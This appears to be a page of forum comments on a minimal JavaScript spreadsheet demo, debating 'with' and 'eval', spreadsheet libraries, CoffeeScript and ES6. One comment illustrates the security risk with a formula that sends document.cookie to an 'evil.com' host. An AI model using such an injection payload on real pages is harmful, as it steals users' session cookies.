211–220 of 274 posts
Are there any more full-featured libraries that people use for this? I've found SpreadJS[0], GelSheet[1], jQuery.Sheet[2], and ZK Spreadsheet, but none seem like thriving open-source projects as far as I can tell. [0] http://wijmo.com/demo/spreadjs/samples/index.html [1] http://www.gelsheet.org/demo [2] http://visop-dev.com/Project+jQuery.sheet [3] http://www.zkoss.org/product/zkspreadsheet
Earlier quoted context omitted.
Using both 'with' and 'eval' on the same line, nice ;) Douglas Crockford said in his excellent talk 'JavaScript: The Good Parts' that he highly recommends js -developers to avoid 'with', as it doesn't work correctly and for 'eval' he has to say 'If you are finding yourself using eval, you really are thinking about things the wrong way'. Source, starts where he is speaking about with and eval: http://youtu.be/hQVTIJBZ…
Yes, the statements are still true. This is an exceptionally clever hack, but it can't really be expanded upon, because as soon as you allow sharing of spreadsheets, it is a security nightmare. Consider: =document.cookie, or =document.write(' http://evil.com/'+document.cookie +'">'); eval of user input is just not safe, and the with statement also presents problems, such as =INPUT
Earlier quoted context omitted.
When I was a contractor at a major bank, the standard was IE6, and movement towards IE8 was in progress (as Win7 was rolling out)... I don't know if they held at IE8 though, as most people I knew there have left, even the FTEs. It was an SPA that drove a lot of adoption/allowance to use Chrome/Firefox, so it may have well gone that direction since leaving.
What's an SPA? (I guess FTE are full-time employees?)
This is truly great as proof of concept and also as a reminder that in software development building 80% of perceived* functionality usually takes only tiny fraction of total development time which is required to build final product. * - this app looks and feels like “almost complete spreadsheet” yet it provides much less than 1% features of even a basic spreadsheet.
And 80% of perceived functionality is what most users — even people who rely on spreadsheets for their work — need. I'm not saying including the other 20% of functionality isn't a good thing to do, but when you're creating a new product or open source project, you can get by (and thrive) building only the 20% of functionality that's used 80% of the time. Why? Because 1% of functionality is still better than 0% (never…
Earlier quoted context omitted.
Consider coffeescript. It does a good job at removing nuisance quirks from Javascript, and adding some python-esque features (sensible looping constructs, list comprehensions, etc.), while maintaining logical equivalence with the javascript it compiles to. (It also mirrors some of the syntactic features of ruby that make that language so appropriate for producing DSLs, which is a feature or a bug depending on your pe…
Consider ES6 too. It also does a good job at removing some Javascript quirks and adds sensible looping constructs, list comprehensions, generators and generator comprehensions, proxies, rest/spread arguments (removing the need for the magical `arguments` identifier), classes (just sugar for what we already wire up with prototypical inheritance), modules, fat arrow functions etc. No help on the DSL front though - stil…
Server-side, sure, use the latest build you can get.
Earlier quoted context omitted.
Consider coffeescript. It does a good job at removing nuisance quirks from Javascript, and adding some python-esque features (sensible looping constructs, list comprehensions, etc.), while maintaining logical equivalence with the javascript it compiles to. (It also mirrors some of the syntactic features of ruby that make that language so appropriate for producing DSLs, which is a feature or a bug depending on your pe…
You make a convincing argument.
Earlier quoted context omitted.
The only things that are powerful and expressive in JavaScript are bastardized beyond recognition versions of ideas from Lisp, Smalltalk and Self. You get those dynamic mechanisms that we know for 50 years now (lambda expressions and runtime method dispatch, oh wow) to be useful but without learning any lessons learned in those 50 years about how to design a coherent language based on those concepts, you just get a h…
> (and boy does this code look ugly) At least to this dev, it's pretty clear what each line is doing and how -- certainly clearer than what you mean by ugly. > your meta-programming doesn't have to always be only eval and .bind in various incarnations I don't think this statement makes a whole lot of sense except to the degree all meta-programming could be argued to be eval and bind in various incarnations. Certainly…
Unfortunately not. The design of with not only makes the code difficult to reason about for humans, it also makes the code difficult to reason about for js engines, and so it typically prevents any interesting optimisations. So code written using "with" will be both confusing and slow.